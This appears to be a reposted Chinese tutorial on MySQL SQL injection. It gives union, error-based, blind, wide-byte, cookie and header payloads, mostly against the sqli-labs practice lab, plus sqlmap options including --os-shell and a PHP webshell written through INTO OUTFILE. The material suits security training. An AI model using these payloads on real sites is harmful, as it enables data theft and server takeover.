azure sql 網絡安全組 網絡安全sql注入

🍅?點擊文末小卡片?,免費獲取網絡安全全套資料,資料在手,漲薪更快

SQL注入

1、原理

針對注入的攻擊行為可描述為通過用戶可控參數中注入SQL語法,破壞原有SQL結構,達到編寫程序意料之外結果的攻擊行為。

  其成因可歸結為以下兩個原理疊加造成:

1、程序編寫者在處理程序和數據庫交互時,使用字符串拼接的方式構造SQL語句

2、未對用戶可控參數進行足夠的過濾便將參數內容拼接進入到SQL語句中。

2、漏洞危害

攻擊者利用SQL注入漏洞們可以獲取數據庫中的多中信息(如:管理員后臺密碼),從而脫取數據庫中內容(脫庫)。在特別情況下還可以修改數據庫內容或者插入內容到數據庫,如果數據庫權限分配存在問題,或者數據庫本身存在缺陷,那么攻擊者就可以通過SQL注入漏洞直接獲取webshell 或者服務器系統權限。mof提權 、 udf提權

3、分類

SQL注入漏洞根據不同的標準,從數據類型分類來看SQL注入分為數字型和字符型。數字型注入就是說注入點的數據,拼接到SQL語句中是以數字型出現的,即數據兩邊沒有被單引號、雙引號包括。字符型注入正好相反按照提交數據的位置分類GET、POST、Cookie和稱GPC數據庫對基本的數據類型分為三大類:數字、文本、時間

根據注入手法分類,大致分為以下幾個類別

聯合查詢    union query SQL injection
報錯注入    Error-based SQL injection
布爾盲注    
延時注入
堆疊查詢聯合查詢、報錯注入、布爾盲注、延時注入 ---查
堆疊查詢    ---增刪改
聯合查詢、報錯注入   ---可以看到數據庫的回顯,包括正確和錯誤信息
布爾盲注、延時注入   ---看到的頁面的狀態,不是數據庫的回顯

    4、Mysql相關

    注釋
    #
    -- (杠杠空格)
    /* … */
    /*! … */ 內聯查詢

      部分數據庫函數

      =|>|>=|<=|<>

      比較運算符

      SELECT 1<>2;

      and|or

      邏輯運算符

      select 1 and 0;

      version()

      mysql 數據庫版本

      select version();

      database()

      當前數據庫名

      select database();

      user()

      用戶名

      select user();

      current_user()

      當前用戶名

      select current_user();

      system_user()

      系統用戶名

      select system_user();

      @@datadir

      數據庫路徑

      select @@datadir;

      @@version_compile_os

      操作系統版本

      select @@version_compile_os;

      length()

      返回字符串長度

      select length('ffdfs');select length(version());

      substring()

      截取字符串(三個參數)

      select substring("dhffjf",2,2);

      substr()

      1、截取的字符串2、截取的起始位置,從1開始

      select substr("version()",2);select substr(version(),2,10);

      mid()

      3、截取長度

      select mid(' select ',2,6);

      left()

      從左側開始去指定字符個數的字符串

      select left('adc',2);select left(version(),2);

      concat()

      沒有分隔符的連接字符串

      select concat('a','b','c');

      concat_ws()

      含有分隔符的連接字符串

      select concat_ws('/','a','b','c');||

      group_concat()

      連接一個組的字符串

      select group_concat(id) from users;

      ord

      返回ASCII碼

      select ord('a');

      ascii()

      ?

      select ascii('a');

      hex()

      將字符串轉換為十六進制

      select hex('a');

      unhex()

      hex 的反向操作

      select unhex(61);

      md5()

      返回MD5 值

      select md5('123456');

      floor(x)

      返回不大于x 的最大整數

      ?

      round()

      返回參數x 接近的整數

      ?

      rand()

      返回0-1 之間的隨機浮點數

      select rand();

      load_file()

      讀取文件,并返回文件內容作為一個字符串

      ?

      sleep()

      睡眠時間為指定的秒數

      select sleep(5);

      if(true,t,f)

      if判斷

      select if(true,1,0);select if(false,1,0);

      find_in_set()

      返回字符串在字符串列表中的位置

      ?

      benchmark()

      指定語句執行的次數

      ?

      name_const()

      返回表作為結果

      ?

        1、SQL語句解析過程
      SQL 語句解析過程
      from -->group by --> having --> select -->order by 
      from 后面的表標識了這條語句要查詢的數據源
      from 過程之后會形成一個虛擬的表VT1.# where
      where 對VT1 過程中生成的臨時表進行過濾,滿足where 子句的列被插入到VT2 .# group by
      group by 會把VT2 生成的表按照group by 中的列進行分組,生成 VT3# having
      having 這個group by 的子句對VT3 表中的不同分組進行過濾,滿足having 條件的子句被加入到VT4 表中。# select
      select 這個子句對select 子句中的元素進行處理,生成VT5
      計算select 子句中的表達式,生成VT5.1
      distinct 刪除VT5.1表中的重復列,生成VT5.2
      top 從order by 子句中定義的結果中,刪選出符合條件的列,生成VT5.3# order by
      order by 從VT5.3 中的表,根據子句中的結果進行排序,生成VT6

        4、注入點

        注入點可能的位置根據SQL 注入漏洞的原理,在用戶“可控參數”中注入SQL 語法,也就是說Web 應用在獲取用戶數據的地方,只要代入數據庫查詢,都有存在SQL 注入的可能,這些地方通常包括:GET 數據、POS 數據、HTTP頭部(HTTP請求報文其他字段)、Cookie 數據

        5、注入點判斷

        判斷類型
        123'    返回頁面包含123時,為字符型,沒有123是為數字
        考慮閉合類型 ' " ') ") ')) "))+1、-1   有變化有回顯考慮聯合查詢;有變化有報錯考慮報錯注入;沒變化沒報錯沒回顯考慮布爾盲注;沒有以上情況,考慮延時注入是否有回顯           聯合查詢
        是否有報錯           報錯注入
        是否有布爾類型狀態     布爾盲注
        絕招                 延時注入判斷布爾類型的狀態
        ?id=35 and 1=1    ?id=35 and 1=2(如果1=2正常,可能為字符型)判斷延時
        ?id=35 and sleep(5)     可以通過F12-->'網絡'進行查看

          6、聯合查詢注入

          聯合查詢就是SQL 語法中的union select 語句。該語句會同時執行兩條select 語句,前面語句為假時,顯示后面語句執行的結果生成兩張虛擬表,然后把查詢到的結果進行拼接。
          select ~~~~ union select ~~~~
          由于虛擬表時二維機構,聯合查詢會“縱向”拼接兩張虛擬表實現跨庫|跨表查詢
          必要條件
          @ 兩張虛擬的表具有相同的列數
          @ 虛擬表對應的數據類型相同
            1、判斷字段個數(列數)
            使用[order by] 語句來判斷當前select 語句所查詢的虛擬列表的列數。
            [order by] 語句本意時按照某一列進行排序,在mysql 中可以使用數字來代替具體的列名,比如[order by 1] 就是按照第一列進行排序,如果mysql 沒有找到對應的列,就會報錯[Unkown column].我們可以依次增加數字,知道數據庫報錯。
            • 1.
            • 2.
            判斷顯示位置、列數
            得到字段個數之后,可以嘗試構造聯合查詢語句
            這里我們并不知道表名,根據mysql 數據庫的特性,select 語句執行過程中,并不需要指定表名。。?id=33 union select 1,2,3,4,5,6,7,8,9,10--+
            返回錯誤時,表示沒有該列數
            ?id=33 union select null,null,null,null,null,null,null,null--+頁面顯示的是第一張虛擬表的內容,那么我們可以考慮讓第一張虛擬表的查詢條件為假,則顯示第二條記錄。因此構造SQL,語句:
            ?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+
            ?id=-33 1=2 union select 1,2,3,4,5,6,7,8,9,10,--+
            • 1.
            • 2.
            如下圖---顯示出數據
            • 1.

            azure sql 網絡安全組 網絡安全sql注入_SQL

            llegal mix of collations for operation 'UNION'出錯時

            編碼限制繞過

            azure sql 網絡安全組 網絡安全sql注入_聯合查詢_02

            采用hex(16進制編碼)

            ?id=-33 union select  1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database() ?id=-33 union select  1,2,hex((select group_concat(table_name) from information_schema.tables where  table_schema='security'  )),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()

              azure sql 網絡安全組 網絡安全sql注入_數據庫_03

              不支持字符型時,采用16進制轉換

              azure sql 網絡安全組 網絡安全sql注入_聯合查詢_04

              azure sql 網絡安全組 網絡安全sql注入_SQL_05

              16進制需要在轉換后加上0x

              azure sql 網絡安全組 網絡安全sql注入_azure sql 網絡安全組_06

              azure sql 網絡安全組 網絡安全sql注入_SQL_07

              7、報錯注入

              1、group by 重復鍵沖突(floor)
              group by是mysql天生的BUG(編號#8652),是一種比較可靠的注入方式 有一定的成功率,可能成功,也可能不成功,建議多試幾次?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)select a,count(*) from r1 group by round(rand(),1);select floor(rand()*3),a,count(*) from r1 group by 1; select min(@a:=1) from(select 1 union select null union select !1)a group by concat('~',@@version,'~',@a:=(@a+1)%2);在concat()里面添加條件
                2、extractvalue()
                ?id=1 and extractvalue(1,concat('~',(select version()),'~')) --+
                • 1.
                3、updatexml()
                ?id=1 and updatexml(1,concat('~',(select version()),'~')) --+
                • 1.

                8、布爾盲注

                獲取數據庫名數據庫名長度
                [… and length(database())<=10 --+]
                [… and length(database())=3 --+]數據庫名
                [… and ascii(substr(database(),1,1))=99--+]

                  9、延時注入

                  利用sleep() 語句的延時性,以時間線作為判斷條件
                  獲取數據庫名獲取數據庫名長度
                  ?id=1 and if((length(database())=3),sleep(5),1)--+數據庫名第二位
                  ?id=1 and if((ascii(substr(database(),2,1,)=109),sleep(5),1)

                    10、sqlmap

                    get注入-u "url"    檢測注入點
                    --dbs       列出所有數據庫的名字
                    --current-db    列出當前數據的名
                    -D      指定一個數據庫
                    --tables    列出表名
                    -T  指定表名
                    --columns   列出所有字段名
                    -C  指定字段
                    --dump  列出字段內容----------post注入-r post.txt 從文件中讀入http請求(post.txt是用burpsuite抓取得post數據包構成)
                    --os-shell  獲取shell
                    sqlmap -g "inurl:php?id="   利用google 自動搜索注入點---------攜帶cookie 的認證
                    要測試的頁面只有在登錄狀態下才能訪問,登錄狀態用cookie識別
                    --cookie ""

                      11、其他注入

                      SQL 注入文件讀寫
                      SQL 注入漏洞文件讀寫文件。但是讀寫文件需要一定的條件
                      該參數再高版本的mysql 數據庫中限制了文件的導入導出。
                      改參數可以寫在my.ini 配置文件,并重啟mysql 服務。
                      打開my.ini 配置文件,在mysqld下添加 secure-file-priv
                        讀取文件操作
                        … union select 1,load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'),3 --+
                        • 1.
                        寫入文件操作
                        ?id=1 and union select 1,2,"<?php @eval($_REQUESTS[777]);?>",4 into outfile "c:\\phpstudy\\www\\2.php"
                        • 1.
                        寬字節注入
                        使用?id=1,頁面有回顯,使用聯合注入查詢
                        使用?id=1'測試的時候,會發現單引號被\轉義了測試網站的編碼是GBK編碼,其采用雙字節編碼范圍,GBK的編碼范圍,8140-FEFE(高字節從81到FE,低字節從40到FE)
                        ?id=1%df' union select 1,2,3 --+
                          Cookie注入
                          在控制臺輸入
                          • 1.
                          document.cookie="uname =Dumb' and extractvalue(1,concat(0x7e,database(),0x7e),1)#
                          • 1.
                          
                          也可以用burpsuite抓包修改Cookie
                          • 1.
                          • 2.

                          azure sql 網絡安全組 網絡安全sql注入_聯合查詢_08

                          base64注入
                          base64 編碼是以==結尾我們以sqli-labs 第22關來說明base64 注入的問題
                          base注入 就是將注入的字段經過base64 編碼,
                          發現22 關是輸入Cookie 型的base64 注入,使用報錯注入手法
                          uname =Dumb" and updatexml(1,concat(0x5e,version(),0x5e),1)#
                          base64 編碼之后:
                          RHVtYiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDVlLHZlcnNpb24oKSwweDVlKSwxKSM=

                            azure sql 網絡安全組 網絡安全sql注入_azure sql 網絡安全組_09

                            HTTP 頭部注入
                            User-Agent 注入
                            • 1.
                            sqli-labs 第18關payloadUser-Agent:hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1

                              azure sql 網絡安全組 網絡安全sql注入_azure sql 網絡安全組_10

                              Referer 注入
                              第19 關,注入字段在Referer 中
                              • 1.
                              • 2.
                              hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1
                              • 1.

                              azure sql 網絡安全組 網絡安全sql注入_SQL_11

                              12、防御

                              1、對用戶輸入的數據進行過濾
                              2、增設WAF
                              3、添加PDO

                              ?

                              最后感謝每一個認真閱讀我文章的人,禮尚往來總是要有的,雖然不是什么很值錢的東西,如果你用得到的話可以直接拿走:

                              上述所有都有配套的資料,這些資料,對于做【網絡安全】的朋友來說應該是最全面最完整的備戰倉庫,這個倉庫也陪伴我走過了最艱難的路程,希望也能幫助到你!凡事要趁早,特別是技術行業,一定要提升技術功底。

                                本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
                                如若轉載,請注明出處:http://www.pswp.cn/bicheng/72024.shtml
                                繁體地址,請注明出處:http://hk.pswp.cn/bicheng/72024.shtml
                                英文地址,請注明出處:http://en.pswp.cn/bicheng/72024.shtml

                                如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

                                相關文章

                                【Day50 LeetCode】圖論問題 Ⅷ

                                一、圖論問題 Ⅷ 1、dijkstra算法 堆優化 采用堆來優化&#xff0c;適合節點多的稀疏圖。代碼如下&#xff1a; # include<iostream> # include<vector> # include<list> # include<queue> # include<climits>using namespace std;class myco…

                                利用node.js搭配express框架寫后端接口(一)

                                Node.js 憑借其高效的非阻塞 I/O 操作、事件驅動架構以及輕量級的特點&#xff0c;成為了開發高性能服務器應用的熱門選擇。Express 框架作為 Node.js 上最流行的 Web 應用框架之一&#xff0c;以其簡潔的 API 和豐富的中間件生態系統&#xff0c;極大地簡化了 Web 后端開發流程…

                                【小白數學】為什么可以用拉格朗日乘子法求函數的極值【二】

                                我們在上一篇【小白數學】- 為什么可以用拉格朗日乘子法求函數的極值【一】已經介紹了一種較為“嚴謹“的方法來說明為什么拉格朗日乘子法可以幫助我們求具有等式約束條件下的函數的極值。雖然在我們的例子中”等式約束“中只有一個等式。但其實很容易推廣到多個等式約束的情況…

                                JAVA面試_進階部分_netty面試題

                                1.BIO、NIO 和 AIO 的區別&#xff1f; BIO&#xff1a;一個連接一個線程&#xff0c;客戶端有連接請求時服務器端就需要啟動一個線程進行處理。線程開銷大。 偽異步 IO&#xff1a;將請求連接放入線程池&#xff0c;一對多&#xff0c;但線程還是很寶貴的資源。 NIO&#x…

                                考研出分24小時,人類精神狀態圖鑒

                                2月24日&#xff0c;上午10點起&#xff0c;各省考研初試成績陸續公布&#xff0c;考生們或緊張的輸入準考證號&#xff0c;或抱團等待“審判”。然而更魔幻的還在后頭——下午4點&#xff0c;教育部竟在同一天直接發布了《2025年研考國家分數線》。 不少網友表示&#xff1a;…

                                川翔云電腦優勢總結

                                在數字化時代&#xff0c;川翔云電腦依托云計算技術&#xff0c;為用戶解決硬件性能瓶頸問題。川翔云電腦使用云渲碼&#xff1a;【2355】 卓越硬件配置&#xff1a;配備 RTX 3090、48G 顯存的 RTX 4090plus&#xff0c;支持 1 - 8 卡機配置&#xff0c;多卡并行計算能力強&am…

                                DeepSeek開源周Day4:三連發!突破 AI 訓練瓶頸的立體解決方案,并行計算三劍客DualPipe、EPLB與Profile-data

                                項目地址&#xff1a; https://github.com/deepseek-ai/DualPipehttps://github.com/deepseek-ai/eplbhttps://github.com/deepseek-ai/profile-data 開源日歷&#xff1a;2025-02-24起 每日9AM(北京時間)更新&#xff0c;持續五天 (4/5)&#xff01; ? ? 一、背景概述 …

                                基于W2605C語音識別合成芯片的智能語音交互鬧鐘方案-AI對話享受智能生活

                                隨著科技的飛速發展&#xff0c;智能家居產品正逐步滲透到我們的日常生活中&#xff0c;其中智能鬧鐘作為時間管理的得力助手&#xff0c;也在不斷進化。基于W2605C語音識別與語音合成芯片的智能語音交互鬧鐘&#xff0c;憑借其強大的聯網能力、自動校時功能、實時天氣獲取、以…

                                Vite與Turbopack現代構建工具架構解析:秒級構建的性能奧秘

                                引言&#xff1a;傳統構建工具的效能瓶頸 Shopify將前端倉庫遷移至Vite后&#xff0c;HMR更新時間從Webpack的4.2秒縮短至48毫秒。Turbopack在Vercel生產環境測試中&#xff0c;增量構建速度較Webpack快700%。ChromeOS團隊采用Vite后&#xff0c;生產構建從Webpack的17分鐘優化…

                                網絡基礎知識-2

                                N個節點完全互聯的網型網即N個節點的無向完全圖&#xff0c;無向完全圖的邊數計算如下&#xff1a;每個節點都要指向其他N-1個節點&#xff0c;但是因為無向兩個節點之間的邊會重復&#xff0c;因此有N(N-1)/2條邊HDLC&#xff08;高級數據鏈路控制協議&#xff09;是一種面向比…

                                視頻級虛擬試衣技術在淘寶的產品化實踐

                                作為一種新的商品表現形態&#xff0c;內容幾乎存在于手淘用戶動線全流程&#xff0c;例如信息流種草內容、搜索消費決策內容、詳情頁種草內容等。通過低成本、高時效的AIGC內容生成能力&#xff0c;能夠從供給端緩解內容生產成本高的問題&#xff0c;通過源源不斷的低成本供給…

                                藍橋備賽(三)- 條件判斷與循環(下)

                                一、for循環 1.1 for 循環語法形式 for 循環是三種循環中使用最多的 &#xff0c; for 循環的語法形式如下&#xff1a; 1.2 執行流程 for 循環中 &#xff0c; 表達式1&#xff08;初始化&#xff09;只執行一次 &#xff01; 1.3 實踐 練習&#xff1a;使用 for 循環在屏幕…

                                VMware Fusion 虛擬機Mac版 安裝CentOS 7 系統

                                介紹 CentOS是Community Enterprise Operating System的縮寫&#xff0c;也叫做社區企業操作系統。是企業Linux發行版領頭羊Red Hat Enterprise Linux的再編譯版本&#xff08;是一個再發行版本&#xff09;&#xff0c;而且在RHEL的基礎上修正了不少已知的 Bug &#xff0c;相…

                                如果更換ip地址會怎么樣?網絡ip地址怎么更換

                                IP地址&#xff0c;作為網絡設備的數字身份證&#xff0c;其穩定性和安全性對于網絡通訊至關重要。然而&#xff0c;在某些特定情況下&#xff0c;我們可能需要更換設備的IP地址&#xff0c;以滿足安全、隱私或網絡管理的需求。那么&#xff0c;如果更換IP地址會怎么樣&#xf…

                                網絡通信/IP網絡劃分/子網掩碼的概念和使用

                                文章目錄 概述子網的考題子網掩碼的歷史有/無類地址子網劃分!子網掩碼超網技術/CIDR子網掩碼和路由IP子網掩碼定義 網絡規劃網絡規劃-拆子網網絡規劃-組超網子網劃分案例 區分于其他特殊IP地址IP地址和網絡地址子網掩碼和網絡地址子網掩碼和廣播地址 子網間的通信其他 概述 本…

                                評估自動駕駛(AD)策略性能的關鍵指標

                                以下是針對自動駕駛&#xff08;AD&#xff09;策略性能評測指標的詳細解讀&#xff0c;結合其物理意義與工程價值&#xff1a; 核心評測指標分類與含義 1. 安全性指標&#xff08;Safety&#xff09; 動態碰撞率&#xff08;Dynamic Collision Ratio, DCR&#xff09; 定義&a…

                                C++11相較于C++98的新特性介紹:列表初始化,右值引用與移動語義

                                一&#xff0c;列表初始化 1.1C98中傳統的{} C98中一般數組和結構體可以使用{}進行初始化&#xff1a; struct Date {int _year;int _month;int _day; };int main() {int a[] { 1,2,3,4,5 };Date _date { 2025,2,27 };return 0; } 1.2C11中的{} C11以后想統一初始化方式&…

                                序列化是什么?常見的序列化方式有哪些?什么時候我們會用到序列化?

                                序列化&#xff08;Serialization&#xff09;是指將對象的狀態信息轉換為可以存儲或傳輸的形式&#xff08;如字節序列、XML 文檔、JSON 字符串等&#xff09;的過程。反序列化則是序列化的逆過程&#xff0c;它將存儲或接收到的字節序列、XML 文檔、JSON 字符串等轉換回對象的…

                                Python解決“比賽配對”問題

                                Python解決“比賽配對”問題 問題描述測試樣例解決思路代碼 問題描述 小R正在組織一個比賽&#xff0c;比賽中有 n 支隊伍參賽。比賽遵循以下獨特的賽制&#xff1a; 如果當前隊伍數為 偶數&#xff0c;那么每支隊伍都會與另一支隊伍配對。總共進行 n / 2 場比賽&#xff0c;…

                                uniapp中使用leaferui使用Canvas繪制復雜異形表格的實現方法

                                需求&#xff1a; 如下圖&#xff0c;要實現左圖的樣式&#xff0c;先實現框架&#xff0c;文字到時候 往里填就行了&#xff0c;原來的解決方案是想用css,html來實現&#xff0c;發現實現起來蠻麻煩的。我也沒找到合適的實現方法&#xff0c;最后換使用canvas來實現&#xff…